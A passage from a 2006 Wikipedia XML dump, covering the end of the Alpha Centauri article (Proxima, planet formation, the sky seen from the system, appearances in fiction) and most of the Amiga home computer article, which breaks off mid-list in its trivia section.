The red dwarf Proxima Centauri is about 13,000 astronomical units away from Alpha Centauri (1 ly = 63,241 AU, hence this is 0.21 ly, about 1/20 of the distance between Alpha Centauri and the Sun, it is 0.14 ly closer to us) and may be in orbit about it, with a period on the order of 500,000 years or more. For this reason, Proxima is sometimes referred to as ''Alpha Centauri C''. However, it is not clear if it really is in orbit, although the association is unlikely to be entirely accidental as it shares approximately the same motion through space as the larger star system.

Seen from Earth, Proxima is separated by 2 degrees from Alpha Centauri A and B (about 4 times the angular diameter of the full Moon), and the latter are at an angular distance of up to 40&quot; from each other.
[[Image:AlphaCentauri_AB_Trajectory.gif|thumb|left|300px|Apparent and real trajectory of B component relative to A component]]
The closest neighbours to the Alpha Centauri system are the Sun and [[Barnard's star]] (1.98 [[parsec|pc]] or 6.47 ly), which is also the next nearest star from Earth, at a distance of 5.96 ly.

==Possibility of planet formation==
Computer models of planetary formation suggest that [[terrestrial planet]]s would be able to form close to both Alpha Centauri A and B, but that [[gas giant]] planets similar to our [[Jupiter]] and [[Saturn (planet)|Saturn]] would not be able to form because of the binary stars' gravitational effects. Given the similarities in star type, age and stability of the orbits it has been suggested that this solar system may hold one of the best possibilities for [[extraterrestrial life]]. However, some astronomers have speculated that any terrestrial planets in the Alpha Centauri system may be dry because it is believed that Jupiter and Saturn were crucial at directing [[comet]]s into the inner solar system and providing the inner planets with a source of [[water]]. This would not be a problem, however, if Alpha Centauri B happened to play a similar role for Alpha Centauri A that the gas giants do for the [[Sun]], and vice versa.  Both stars are of the right [[spectral type]] to harbor life on a potential planet (most astronomers believe that stars of spectral types from about F5 to K5 are hot enough, but long-lived and stable enough, to support potential Earthlike worlds).

A planet around Alpha Centauri A would be about 1.25 [[astronomical unit|AU]]'s away from the star if it were to have Earthlike temperatures, or about halfway between the distances of [[Earth]]'s orbit and [[Mars]]' orbit in our own [[solar system]].  For dimmer, cooler Alpha Centauri B, the distance would be about 0.7 [[AU]]'s, or about the distance of [[Venus]] from the [[Sun]].

==Sky appearance from Alpha Centauri==
Viewed from near Alpha Centauri, the sky (other than the Alpha Centauri stars) would appear very much as it does to observers on Earth, with most of the constellations such as [[Ursa Major]] and [[Orion (constellation)|Orion]] being almost unchanged. However, Centaurus would be missing its brightest star and our [[Sun]] would appear as a 0.5-magnitude star in [[Cassiopeia (constellation)|Cassiopeia]]. Roughly speaking, the \/\/ of Cassiopeia would become a /\/\/, with the Sun at the leftmost end, closest to [[Epsilon Cassiopeiae|&amp;epsilon; Cassiopeiae]]. The position can easily be plotted as [[right ascension|RA]] 02h39m35s, [[declination|dec]] +60°50', or [[antipodal point|antipodal]] to Alpha Centauri's position as seen from Earth.

Nearby very bright stars such as [[Sirius]] and [[Procyon]] would appear to be in very different positions, as would [[Altair]] to a lesser extent.  Sirius would become part of the constellation of Orion, appearing 2 degrees to the west of [[Betelgeuse]], slightly dimmer than from here (-1.2).  The stars [[Fomalhaut]] and [[Vega]], although further away, would appear somewhat displaced as well.  Proxima Centauri would be an inconspicuous 4.5 magnitude star, which considering it would only be a quarter of a [[light-year]] away shows just how dim Proxima really is.

&lt;!--- To compute the following figures, use masses 1.1 and 0.92 Suns, luminosities 1.57 and 0.51 Suns (Sun visual magnitude -26.73), and an orbit of 11.2 to 35.6 AUs; min luminosity adds the planet's orbital radius to the max A-B distance (conjunction), max luminosity subtracts the planet's orbital radius from the min A-B distance (opposition) ---&gt;A hypothetical planet around either &amp;alpha; Centauri A or B would see the other star as a very bright secondary. For example, an Earth-like planet at 1.25 [[Astronomical Unit]]s from &amp;alpha; Cen A (with a revolution period of 1.34 [[year|a]]) would get Sun-like illumination from its primary, and &amp;alpha; Cen B would appear 5.7 to 8.6 magnitudes dimmer (&amp;minus;21.0 to &amp;minus;18.2), 190 to 2700 times dimmer than &amp;alpha; Cen A but still 29 to 9 times brighter than the full Moon. Conversely, an Earth-like planet at 0.71 AUs from &amp;alpha; Cen B (with a revolution period of 0.63 [[year|a]]) would get Sun-like illumination from its primary, and α Cen A would appear 4.6 to 7.3 magnitudes dimmer (&amp;minus;22.1 to &amp;minus;19.4), 70 to 840 times dimmer than &amp;alpha; Cen B but still 45 to 15 times brighter than the full Moon. In both cases the secondary sun would, in the course of the planet's year, appear to circle the sky. It would start off right beside the primary and end up, half a period later, opposite it in the sky (a &quot;midnight sun&quot;). After another half period, it would complete the cycle.  For a hypothetical Earthlike planet around either star, the secondary sun would not be bright enough to adversely affect climate or plant photosynthesis (being as far away as [[Saturn]] is from our [[Sun]]), but would mean that for about half the year, the night sky, instead of a pitch black would appear a dark blue, and one could walk around rather easily without artificial light.

==Apparent movement==
In about 4000 years, the [[proper motion]] of Alpha Centauri will mean that from the point of view of Earth it will appear close enough to [[Beta Centauri]] to form an optical [[double star]]. Beta Centauri is in reality far more distant than Alpha Centauri.
[[Image:Motion-of-Alpha-Cen.jpg|thumb|170px|Apparent motion of Alpha Centauri relative to [[Beta Centauri]].]]

==Alpha Centauri in fiction==
Because of its status as our star's nearest galactic neighbor, Alpha Centauri has frequently been referred to in science fiction stories involving interstellar travel.

In ''[[The Centauri Device]]'' (1975) by [[M. John Harrison]] the native Centaurians (humanoid aliens able to interbreed with humans) have been wiped out in a [[genocidal]] attack by expanding Earth colonisation of the galaxy.  The novel's main character, whose mother was Centauran, is one of the few people in the cosmos able to operate the 'device' of the book's title; a weapon of enormous power.

Alpha Centauri is mentioned at the beginning of ''[[The Hitchhiker's Guide to the Galaxy]]'' by [[Douglas Adams]].  Shortly before the [[Vogons]] demolish the Earth to make way for a hyperspace bypass, they inform the planet that &quot;All the planning charts and demolition orders have been on display in your local planning department on Alpha Centauri for fifty of your Earth years, so you've had plenty of time to lodge any formal complaint and it's far too late to start making a fuss about it now.&quot;  When someone objects to this, [[Minor characters from The Hitchhiker's Guide to the Galaxy#Prostetnic Vogon Jeltz|Protstetnic Vogon Jeltz]] replies, &quot;What do you mean you've never been to Alpha Centauri? For heaven's sake mankind, it's only four light years away you know. I'm sorry, but if you can't be bothered to take an interest in local affairs that's your own lookout.&quot;  This scene appears in every incarnation of the story except the [[The Hitchhiker's Guide to the Galaxy (film)|movie]] version.  The story also mentions that in the old days of the Universe, &quot;men were ''real'' men, women were ''real'' women, and small furry creatures from Alpha Centauri were ''real'' small furry creatures from Alpha Centauri.&quot;

In the ''[[Lost In Space]]'' TV series, Alpha Centauri is the intended destination of the United States spacecraft ''Jupiter 2'' launched [[October 16]], [[1997]] and crewed by the Robinson family and Major Don West. Stowaway Dr. Zachary Smith sabotages the mission on behalf of a foreign government, sending the ship off course.

In the 1991 computer game [[Civilization (computer game)|Civilization]] and its sequals, one of the ways to achieve victory is to successfully launch an expidition to colonize Alpha Centauri. &quot;[[Sid Meier's Alpha Centauri]],&quot; a spiritual sequel, involves seven ideological factions competing to colonize the Earth-like planet Chiron that orbits Alpha Centauri. 

In an episode of ''[[Star Trek: The Original Series]]'', [[Zefram Cochrane]], the inventor of the [[warp drive]] is said to be from Alpha Centauri, though there is considerable debate as to whether this was intended to identify his place of origin, or of residence. However, he cannot be from AC, as seen in [[Star Trek: First Contact]], the 8th film in the series, as he is found by the [[Enterprise-E]] crew on Earth in the late 21st century. The novel &quot;Federation&quot; by Garfield and Judith Reeves-Stephens (co-writers on Star Trek: Enterprise), though superceded by the movie First Contact, postulates that Cochrane grew up on Earth, developed warp drive with the backing of Micah Brack, then led the settlement at Alpha Centauri that safeguarded humanity just a few short years later when a terrible war devastated Earth; Cochrane subsequently lived most of his remaining pre-Companion life at Alpha Centauri, thus accounting for his being &quot;of&quot; Alpha Centauri.

In the [[DC Comics]] universe, the planet [[Rann]] originated in the Alpha Centauri system. Rannians are so close to normal Earth-based humans that [[Adam Strange]] was brought to the planet to act as a sort of breeding stud. This was before Rann was teleported out of the Alpha Centauri system, into a parallel [[pocket universe]], and then to the [[Polaris]] system.

In [[James P. Hogan]]'s 1982 [[space opera]] novel [[Voyage from Yesteryear]], a human colony is artificially created at Alpha Centauri by automatic probe.

==See also==
* [[List of nearest stars]]
* [[List of brightest stars]]

==External links==
* [http://www.glyphweb.com/esky/stars/alphacentauri.html Alpha Centauri]
* [http://homepage.sunrise.ch/homepage/schatzer/Alpha-Centauri.html Alpha Centauri: A Candidate for Terrestrial Planets And Intelligent Life]
* [http://simbad.u-strasbg.fr/sim-id.pl?protocol=html&amp;Ident=alpha+centauri SIMBAD observational data]
* {{cite web 
 | title = Alpha Centauri 3 
 | work = SolStation 
 | url = http://www.solstation.com/stars/alp-cent3.htm 
 | accessdate = November 30 
 | accessyear = 2005 }}
* {{cite web 
 | title = A Family Portrait of the Alpha Centauri System 
 | work = SpaceRef.com 
 | url = http://www.spaceref.com/news/viewpr.html?pid = 11016 
 | accessdate = March 21 
 | accessyear = 2003 }}
* {{memoryalpha}}
* [http://jumk.de/astronomie/near-stars/alpha-centauri.shtml Alpha Centauri System]

[[Category:Triple star systems]]
[[Category:Centaurus constellation]]
[[Category:Yellow dwarfs|Centauri, Alpha]]
[[Category:Orange dwarfs|Centauri, Alpha]]
[[Category:Bayer objects|Centauri, Alpha]]
[[Category:HD and HDE objects]]

[[bg:Алфа Кентавър]]
[[ca:Alfa Centauri]]
[[cs:Alfa Centauri]]
[[de:Rigil Kentaurus]]
[[es:Alfa Centauri]]
[[eo:Alpha Centauri]]
[[fr:Alpha Centauri]]
[[io:Alpha Centauri]]
[[it:Alpha Centauri]]
[[he:אלפא קנטאורי]]
[[la:Alpha Centauri]]
[[hu:Alfa Centauri]]
[[nl:Alpha Centauri]]
[[ja:ケンタウルス座アルファ星]]
[[no:Alfa Centauri]]
[[pl:Alfa Centauri]]
[[ro:Alfa Centauri]]
[[ru:Α Центавра]]
[[sk:Alfa Centauri]]
[[fi:Alfa Centauri]]
[[sv:Alfa Centauri]]
[[uk:Альфа Центавра]]
[[zh:南門二]]</text>
    </revision>
  </page>
  <page>
    <title>Amiga</title>
    <id>1980</id>
    <revision>
      <id>42056001</id>
      <timestamp>2006-03-03T14:25:03Z</timestamp>
      <contributor>
        <ip>148.4.33.125</ip>
      </contributor>
      <comment>/* Technical features */</comment>
      <text xml:space="preserve">:''This article is about the family of home computers. For other uses, see [[Amiga (disambiguation)]].''
[[Image:Amiga Logo.jpg|right|265px]]
[[Image:Amiga 1000.jpg|thumb|255px|The original Amiga (1985)]]
The '''Amiga''' is a family of [[home computer|home]]/[[personal computer]]s originally developed by [[Amiga Corporation]] as an advanced [[game console]].  Development on the Amiga began in [[1982]] with [[Jay Miner]] as the principal hardware designer.  [[Commodore International]] introduced the machine to the market in [[1985]], after having bought Amiga Corp.  The machine was ahead of its time, sporting a [[Original Amiga chipset|custom chipset]] with advanced graphics and sound capabilities, and a sophisticated multitasking [[operating system]], now known as [[AmigaOS]].  Based on the [[Motorola]] [[68k]] series of [[32-bit]] [[microprocessor]]s, the Amiga provided a significant upgrade from 8-bit computers such as the [[Commodore 64]], the Amiga quickly grew in popularity among computer enthusiasts, especially in Europe. It also found a prominent role in the video production business.

==History==
===Amiga Corporation===
The Amiga's chipset was designed by a small company called [[Amiga Corporation]] during the end of the first home video game boom. Wary of industrial espionage, the chipset was codenamed Lorraine during development. Amiga Corp. funded the development of the Lorraine by manufacturing [[joystick]]s while seeking investors. The chipset was to be used in a video game machine, but following the [[video game crash of 1983]], the Lorraine was repurposed to be a personal computer. Before Amiga Corp. could bring the machine to market, the company encountered financial difficulties and was purchased by Commodore in August 1984.

The Amiga was designed to be the ultimate video game machine. Since a video game console requires lots of processing power, memory, CPU bandwidth, audo and video hardware, it can be seen that the relatively small additions of a capable operating system and good keyboard will make a video game console into a highly capable personal computer.

===Commodore===
The first Amiga computer, simply called the Amiga (and conspicuously devoid of references to Commodore), was released in [[1985]] by [[Commodore International|Commodore]], who marketed it both as their intended successor to the [[Commodore 64]] and as their competitor against the [[Atari ST]]. It was later renamed the [[Amiga 1000]] (or A1000 for short). Revolutionary for its time, it could display 4,096 colors and produce 4 channels of 8-bit stereo digital audio. It is also notable for having the first [[Computer multitasking#Preemptive multitasking|preemptive multitasking]] operating system with a color [[GUI]], allowing users to perform multiple tasks at the same time.

[[Image:Amiga500 system1.jpg|thumb|350px|An Amiga 500, with 1084S RGB monitor and A1010 floppy disk drive. (1987)]]

In [[1987]], Commodore released two new Amiga models, the [[A500]] and the [[A2000]]. These were marketed as low-end and high-end machines, respectively. The former became the most popular Amiga computer of the decade and served primarily as a games machine, while the latter was marketed as a more serious workstation for graphic purposes, due to the presence of a [[SCSI]] controller option, a [[Genlock]] slot and a video I/O connector.

In [[1990]], the [[A3000]] was introduced as the successor to both the A1000 and A2000, with an [[Extended chip set|enhanced chipset]] (ECS) and the second release of its operating system, which would eventually be called [[AmigaOS]].

In the same year, Commodore released three new low-end machines: the [[CDTV]], aimed to move the platform to the living room; the [[A500plus|A500+]], with the same enhancements as the A3000; and the [[A600]], basically an A500+ in a smaller box with an [[IDE]] controller for hard disks. All of these were commercial failures, mainly due to poor marketing.

Mass-market Amigas were then considerably cheaper than PCs and Macs at the time. This factor helped to boost sales in the more price-conscious European markets, but it also led to Commodore being viewed in U.S. markets as a producer of cheap &quot;game machines&quot;. This perception was furthered by the fact that most Commodore retail outlets were toy stores, and marketing campaigns were woefully mismatched with the status-conscious American public. Overall, the Amiga was very successful in [[Europe]], but it sold less than a million units in the [[United States|U.S.]].

In [[1992]], Commodore released their last Amiga computer models, the [[A1200]] and the [[A4000]]: Each featured the new [[Advanced Graphics Architecture|AGA]] chipset and the third release of [[AmigaOS]].

In [[1993]], menaced by console giants [[Sega]] and [[Nintendo]], Commodore marketed the [[Amiga CD32|CD32]] in a desperate attempt to save their business. The CD32 was one of the earliest [[Compact Disc|CD]]-based consoles and was also the world's first 32-bit game machine, with specifications similar to the A1200.

[[Image:Amiga-Computer.jpg|thumb|left|250px|An Amiga A500 computer, photographed in the early [[1990s]].]]

===Bankruptcy===
In [[1994]], Commodore filed for bankruptcy and its assets were purchased by [[Escom]], a German PC manufacturer, who created the [[subsidiary]] company [[Amiga Technologies]]. However, Escom in turn went bankrupt in [[1997]]. The Amiga brand was then sold to another PC manufacturer, [[Gateway 2000]], which had announced grand plans for it. However, in 2000, Gateway dropped the Amiga brand. This is rumored to be due to pressure by [[Microsoft]]; however, the real reason for the sale is unknown.

===Amiga, Inc.===
The current owner of the trademark, [[Amiga, Inc.]], has licensed the rights to make hardware using the Amiga brand to a U.K. computer vendor, [http://www.eyetech.co.uk Eyetech Group, Ltd], which was founded by some former UK employees of [[Commodore International]]. They are currently selling the [[AmigaOne]] via an international dealer network. The AmigaOne is a [[PowerPC]] computer designed to run the last remnants of [[AmigaOS]], which was itself licensed to a Belgian-German company, [http://www.hyperion-entertainment.biz Hyperion Entertainment].

Only a very few Amiga [[Clone (computer science)|clone]]s were ever produced, as both Commodore and subsequent owners of the trademark refused to license the Amiga technology to third-party manufacturers.

Today, Amigas running AmigaOS version 3.9 and earlier are now considered &quot;Classic&quot; Amigas, as opposed to the new Amiga Inc./Eyetech/Hyperion models. Due to its popularity as a gaming platform, many people incorrectly refer to the Amiga as a games console (even though it is a fully-featured computer). However, there are many &quot;Classic&quot; Amigas still in use around the world.  A popular use for the classic Amiga is as an automated readerboard for local community-access TV stations.

==Technical features==
For its time, the Amiga was quite an advanced computer for the home market. It provided impressive sound and graphics for games, and it was also popular in business environments until around the mid-1990s, aiding users in video editing and 3D graphics.

The very first model, the [[Amiga 1000]], had a 7.14 MHz CPU, designed to work directly with [[NTSC]] video. The CPU clock frequency was precisely double the 3.57 MHz color carrier frequency. The A1000 had a built-in composite video output, which allowed the computer to be hooked up directly to a TV or VCR. However, the output signal was considered too &quot;hot&quot; (strong) by many to be useful for anything other than home use (however, this could be remedied by running the A1000's composite output through a video processing amplifier, or &quot;proc amp&quot;, to bring the video levels down to a suitable amount).

The [[Original Amiga chipset]], or OCS, was more advanced than other architectures of its time: it had dedicated chips for real-time video effects, allowing users to easily work with [[genlock]]s to overlay graphics atop live video. The Amiga's unique [[overscan]] feature, the ability to run at custom, user-defined resolutions, allowed it to draw images past the visible borders of a television screen, allowing seamless fly-ins and scrolling from off-frame. Today, many TV stations and broadcast corporations are still using [[A3000]]s and [[A4000]]s for their real-time video effects. Many programs were also written for creating &quot;[[fansub]]s&quot; of foreign films and [[Japanese animation]]. Many competing products were created for the Amiga's video capabilities ranging from simple genlocks that allowed you to simply switch the RGB overlay feed on and off, to more advanced devices like the Supergen which had faders, and the ultimate expression of the Amiga's native power, the Newtek [[Video Toaster]]. Other interesting products that used the genlock capability enabled users to do motion tracking and interactivity, 20 years before similar products like the Sony EyeToy for the Playstation 2 video-game console. 

Due to its ability to genlock, that is, adjust its own screen refresh timing to
match the signal from a VCR, the Amiga also had a niche market among biologists
analyzing video of organisms in motion at a time when other systems capable
of doing similar tasks cost an order of magnitude more.  At the time, several
video boards for IBM-compatible systems could overlay computer-generated graphics
on top of the signal from a video camera, but these boards required the camera
to accept a sync pulse from the computer, so were useless for overlaying graphics
on VCR output.  In the late 1980s the Amiga was for some biologists working
on limited budgets the only affordable way to do kinematic analysis of
video captured by a VCR.

Another unique feature provided by the Amiga was the ability to change display resolutions ''on the fly'' &amp;mdash; the computer could display different scan lines at different resolutions, allowing for multiple screens of information at different resolutions that could overlap one another without interfering with each other.  The chipset also included a [[blitter]], which could copy and manipulate large amounts of graphics data at once (making the Amiga well-suited to arcade action games), and accelerated line-drawing and area-filling functions, which helped advance the popularity of real-time [[3D computer graphics|3D graphics]] and games.  However, the Amiga would later become disadvantaged with the advent of [[first-person shooter]] games such as the PC game [[Doom]]. This was partly because the Amiga's [[planar]] graphics chipsets were less well suited to this type of 3D graphics, compared to the [[chunky]] graphics chipsets found on PC and [[Macintosh]] computers.

==Operating systems==
[[Image:Amiga_kick34.5_askforwb1.3.png|right|frame|After powering up or rebooting an Amiga 500 this screen display is seen, meaning the OS started and asking the user to insert a bootable floppy disk. The displayed OS is [[Kickstart]] 1.3.]]

The operating system, [[AmigaOS]], was also quite sophisticated for its time, combining an intuitive [[graphical user interface]] (GUI) like that of the [[Apple Macintosh]] together with an elegant [[Command Line Interface]] (CLI) which then eventually evolved into a very powerful Shell. This gives the user of Amiga some of the flexibility of [[Unix|UNIX]] while retaining a simplicity that made maintenance rather easy. While its [[AmigaOS|operating system]] was the only [[preemptive multitasking]] platform with an efficient message-passing kernel in the consumer marketplace for several years with an efficient [[memory management]], [[robustness]] left something to be desired, mainly due to the absence of [[protected memory]], resulting in the famous &quot;[[Guru Meditation]]&quot; errors.

The Amiga operating system was resurrected in [[2000]] as [[AmigaOS#AmigaOS 4|AmigaOS 4]], which currently runs only on [[AmigaOne]] computers and on [[A1200]]s and [[A4000]]s with a [[PowerPC]] accelerator card.

Other, still maintained, operating systems are available for the classic Amiga platform, including [[Linux]] and [[NetBSD]]. Older versions of [[OpenBSD]] can also be run - the last Amiga release was 3.2. [[Commodore Amiga Unix]] (based on AT&amp;T System V Rel. 4) was available only for the [[A2500]] and [[A3000]].

===MS-DOS on Amiga via Sidecar or Bridgeboard===
[[MS-DOS]] compatibility was a major issue during the early years of the Amiga's lifespan in order to promote the machine as a serious business machine. In order to run the MS-DOS operating system, Commodore released the 'Sidecar' for Amiga 1000, basically a [[8086]] board in a closed case that connected to the side of the Amiga. Clever programming (a library named Janus, after the two-faced [[Janus (mythology)|Roman god]] of doorways) made it possible to run PC software in an Amiga window without use of [[emulation]]. At the introduction of the Sidecar the crowd was stunned to see the MS-DOS version of ''[[Microsoft Flight Simulator]]'' running at full speed in an Amiga window on the [[AmigaOS#workbench|Workbench]].

Later the Sidecar was implemented on an expansion card named 'Bridgeboard' for Amiga 2000+ models. Bridgeboard cards appeared up to [[Intel 80486|486 processor]] variants. The Bridgeboard card and the Janus library made the use of PC expansion cards and harddisk/floppydisk drives possible. The bridgeboard card was manufactured by Commodore, later third party cards also appeared for the A500/1200 expansion slot such as the KCS Powerboard.

Eventually, full-software emulators, such as PC-Task allowed Amigas to run MS-DOS programs, including Microsoft Windows, without additional hardware, at the costs of speed and compatibility.

===Mac OS on Amiga===
Also introduced for the Amiga were two products, A-Max (both internal and external models)and the Emplant expansion card. Both allowed the Amiga to emulate an [[Apple Macintosh]] and run the [[Mac OS|Macintosh Operating System]] using the process of [[Translation emulation|translation emulation]]. It required an Apple Macintosh ROM image, or actual ROMs in the case of A-Max, which needed to be obtained from a real Macintosh. The user needed to own the real Macintosh or Mac ROMs to legally run the emulator.

In 1988 the first Apple Mac emulator,A-Max, was released as an external device for any Amiga. It needed Mac ROMs to function, and could read Mac disks when used with a Mac floppy drive (Amiga floppy drives are unable to read Mac disks. Unlike Amiga disks Mac floppy disks spin at variable speeds, much like CD ROM drives). It wasn't a particularly elegant solution, but it did provide an affordable and usable Mac experience.  

ReadySoft, makers of A-Max, followed up with A-Max II in the early '90s.  A-Max II was contained on a zorro compatible card and allowed the user, again using actual Mac roms, to emulate a color Macintosh.  In fact, an Amiga 3000 emulating a Mac via A-Max II was significantly faster than the first consumer color Mac, the LC.

Over time full-software emulation was available, but you still had to get a ROM image. Example emulators include [[ShapeShifter (emulator)|ShapeShifter]] (not to be confused with the third party preference pane [[ShapeShifter]]), later superseded by [[Basilisk II]] (both by the same programmer who conceived [[SheepShaver]], [[Christian Bauer]]), Fusion and iFusion (the latter ran classic MacOS using translation emulation with a [[PowerPC]] &quot;coprocessor&quot; accelerator card). 

This form of emulation has been said to equal or better the speed of a Macintosh with the same processor, especialy with respect to the m68k series due to real Macs running in [[Memory management unit|MMU]] trap mode, hampering performance. Moreover, in the period when no new 68k Mac models were being developed and the majority of Mac software was not natively available on PowerPC Macintosh yet (but only runnable through a slow 68k emulation), the fastest &quot;Macintosh&quot; machines around were actually by far Amiga computers with [[68060]] CPUs running ShapeShifter or Fusion.

One should note that although Amigas were very successful at emulating Macintoshes, it was never considered to be a [[Macintosh clone]] as it could not use MacOS as a primary operating system.

==Third party hardware==
Many expansion boards were produced for Amigas to improve the performance and capability of the hardware, such as memory expansions, SCSI controllers, CPU boards, graphics boards; famous hardware manufacturers were Great Valley Products (GVP) and [[Phase5]]. In addition to expansion boards with 68060 CPUs, Phase5 also designed the PowerUp boards (BlizzardPPC and CyberstormPPC) featuring both a 68k and a PPC CPU, which were able to run the two CPUs at the same time (and shared the system memory). The PPC CPU on PowerUp boards was usually used as a coprocessor for heavy computations (a powerful CPU was needed to run for example MAME, but even decoding JPEG pictures and MP3 audio was considered heavy computation in those years). It was also possible to ignore the 68k CPU and run Linux on the PPC (project Linux APUS), but a PPC native Amiga OS was not available when the PPC boards appeared.

==Third party software==
Amiga was originally supported by such prestigious software titles as [[WordPerfect]], Electronic Arts' [[Deluxe Paint]], and [[Lattice C]]. Newtek's [[Video Toaster]], one of the first all-in-one graphics and video editing packages, began on the Amiga. The Video Toaster was one of the few accessories for the &quot;big box&quot; Amigas (2000, 3000 and 4000) that used the video slot, and enabled users to turn their Amiga into the heart of an entire TV Production suite. The later addition of the Video Flyer by Newtek made possible the first non-linear video editing program for the Amiga. The Amiga made 3D [[raytrace|raytracing]] graphics available for the masses with [[Sculpt 3D]] (before the Amiga, raytracing was only available for dedicated graphic workstations). The Amiga was well known for its 3D rendering capability, with many titles being added to the mix as the years went by. Some titles were later ported to [[Microsoft Windows]] and continue to thrive there, such as the rendering software [[Cinema 4D]] from Maxon, and [[LightWave]] from Newtek, which was originally part of the [[Video Toaster]]. The [[Video Toaster]] itself has even been ported to the Windows platform. Even [[Microsoft]] produced software for use on the Amiga. [[AmigaBASIC]], an advanced [[BASIC programming language|BASIC]] software development environment, complete with an Interactive Development Environment (IDE), was written by Microsoft under contract.

[[Richmond Sound Design]] (RSD) created both [[show control]] and theatre [[sound design]] software which was used extensively in the theatre, theme park, display, exhibit, show and themed entertainment industries in the [[1980s]] and [[1990s]] and at one point in the mid 90s, there were many high profile shows at major theme parks around the world being controlled by Amigas.  There were dozens at [[Walt Disney World]] alone and more at all other [[The Walt Disney Company|Disney]], [[Universal Studios]], [[Six Flags]] and [[Madame Tussauds]] properties as well as in many venues in Las Vegas including [[The Mirage]] hotel Volcano, the [[MGM Grand]] [[EFX]] show, [[Broadway theatre]], London's [[West End]], the [[Royal Shakespeare Company]]'s many venues, most of [[Branson, Missouri]]'s theatres, and scores of theatres on cruise ships, amongst hundreds of others.  RSD purchased used Amigas on the web and reconditioned them to provide enough systems for all the shows that specified them and only stopped providing new Amiga installations in 2000. There are still an unknown number of shows on cruise ships and in themed venues being run by Amigas.

Much shareware and free software was written for the Amiga and could be obtained via the [[Fred Fish]] disk series or from the [[Aminet]] software archive.

==Amiga Emulators==
Many Amiga users actually use a system that boots directly into the emulator.

There is the [[Unix Amiga Emulator]] (UAE) that can emulate a full system on Macintosh and Intel systems, including undocumented behavior and the custom chips. Also there is a special Windows port, WinUAE.

There is a commercial product [[Amiga Forever]] that includes an emulator and the AmigaOS as well as several other important parts.

Another emulator is [[Fellow (computing)|Fellow]].

They are available at:
*[http://amigasys.fw.hu/ AmigaSYS]
*[http://www.freiburg.linux.de/~uae/ UAE]
*[http://www.rcdrummond.net/uae/ e-UAE]
*[http://www.winuae.net/ WinUAE]
*[http://www.amigaforever.com/ Amiga Forever]
*[http://fellow.sourceforge.net/ WinFellow ]

{{Sectstub}}

==User Base==
The Amiga was considered by some to have had an extraordinarily loyal fan base. When Commodore went bankrupt in 1994, there was still a very active Amiga community, and this continued to support the platform long after mainstream commercial vendors abandoned the platform.  There were many fans who believed that the Amiga was unique and was better than other platforms - some still exist to this day using the AmigaOne (manufactured by UK firm Eyetech), despite utilising slower hardware compared to a PC of the same price.

One reason for this loyalty was due to the strengths of the machine at the time: it had a stable, compact, efficient, multitasking OS, it was relatively easy to program for, software had relatively easy access to the hardware (the base hardware was fixed so software could be coded specifically to the hardware), there was a wealth quality software, and it was an affordable multimedia machine for its time.  

However as time wore on, the hardware was overtaken and as the PC improved in software and hardware the Amiga started to look dated.  Despite this, its solid userbase continued to produce software and get as much as they possibly could out of the machine. Amiga users managed to squeeze every drop of performance and capability out of the machines, with software and hardware expansions to enhance its capabilities.  Even today there is enough demand for expansion hardware to keep some small scale manufacturers in business.

==Models and variants==
Amigas fall into several categories, Classic models, such as the 1200 and the 4000, PPC based models such as the AmigaOne, and unoffocial models. Amigas were first produced in 1985, and continue to be produced.

:''Main article: [[Amiga models and variants]]''

==Trivia==
* The name ''amiga'' is the [[Spanish language|Spanish]] and [[Portuguese language|Portuguese]] word for 'female friend', from the [[Latin]] ''amica''.
* The Amiga [[as of 2006|still]] has a very strong user community, particularly outside the United States.
* The Amiga community made a significant contribution to a computer subculture known as the [[Demoscene]]. The Demoscene was more or less a phenomenon inherited from [[Commodore 64]] times.
* Much [[operating system advocacy]] surrounded the technology implemented in the Amiga. This led some to accuse Amiga users of [[computer zealotry|zealotry]] (look for &quot;Amiga Persecution Complex&quot; in the [[Jargon File]]).
* Amiga has two [[Three-finger salute (computing)|Three-finger salute]]s, one for warm reset (CTRL plus the two &quot;Amiga&quot; keys) and the other for reboot (CTRL plus the two &quot;Alt&quot; keys). The latter method was introduced with AmigaOS 4.0.
* When an Amiga crashes, it displays a flashing red box with a mysterious [[Guru Meditation]] number. The number is actually the 68000 exception number, and some other piece of information, such as the address (in hexadecimal) of the task that caused the crash.
* During the Commodore era, machines with 'thousands' model numbering were marketed as 'quality' machines for business use, while the other machines (A500, A500+, A600, A1200) were 'consumer' machines.
* The three most popular low-end models of the Amiga - the 500, 600 and 1200 - each had the name of a [[The B-52's|B-52's]] song written on their [[motherboard]]. The most widely cited reason for this is the designers having been fans of the band. The motherboard of the 500 says &quot;[[Rock Lobster]]&quot;, that of the 600 says &quot;[[June Bug (song)|June Bug]]&quot; and that of the 1200 says &quot;[[Channel Z]]&quot;. No other models have song names on their motherboards.
* The Amiga 600 was originally supposed to be the Amiga 300, a very low-cost &quot;introductory&quot; model, but in an attempt to cut costs plans from CBM management changed at the last minute, and it was instead marketed as the successor to the 500 and the 500+. The motherboard of the Amiga 600 still says &quot;Amiga 300&quot;.
* A common misconception is that before Amiga was sold to Commodore, [[Atari]] was in the running for purchasing the small, [[Los Gatos]]-based company. The misconception further states that after Atari lost the acquisition, it developed the Atari ST to compete with the (then) &quot;Commodore&quot; Amiga.&lt;br/&gt;The truth is that it was Warner's Atari Inc. that had made a deal with Amiga back in 1983 (which can be seen [http://www.atarimuseum.com/articles/mickey.html here]) and not Tramiel's Atari Corp. (which developed the ST). The agreement basically gave Atari Inc. access to the Amiga hardware for their own computer system codenamed &quot;Mickey&quot;.&lt;br/&gt;As part of the agreement, Atari would sell &quot;Mickey&quot; (formally the [[Atari 1850XLD]]) as a video game system with no keyboard for 1 year. After that, Atari could then sell a keyboard add-on and sell full blown versions of &quot;Mickey&quot; to the public. Work was started but Atari ran in to the well known financial troubles and Warner wound up breaking up and selling off the parts of Atari Inc.&lt;br/&gt;The consumer division (which included consoles and computers) was sold to former Commodore founder Jack Tramiel. Jack had left Commodore in [[January 1984]] and after taking a short vacation decided to return to the business with his own next generation low cost computer system. So he formed [[Tramiel Technology, Ltd.]] (TTL) with some former Commodore employees and designed what would become known as the ST series of computers. In late [[May 1984]] he purchased Atari Consumer for their manufacturing capabilities and distribution network, which he'd need to manufacture and sell his new computer.&lt;br/&gt;The takeover was completed on [[July 2]]nd, and the truth of the matter is that the ST was 90% finished by the time this occurred. The operating system being the only major work needed to be finished. 

Jack and his people had '''no''' idea about the Amiga agreement at the time. When they took over Atari Consumer and formed Atari Corp., all projects were put on hold until they could evaluate them. In the meantime, more engineering and management left Commodore to join up at Jack's new Atari Corp. Within the span of a few weeks, several major occurrences happened.
# In late July, Commodore filed suit against Jack for stealing trade secrets because of this influx of former Commodore employees.
# Commodore bought Amiga.
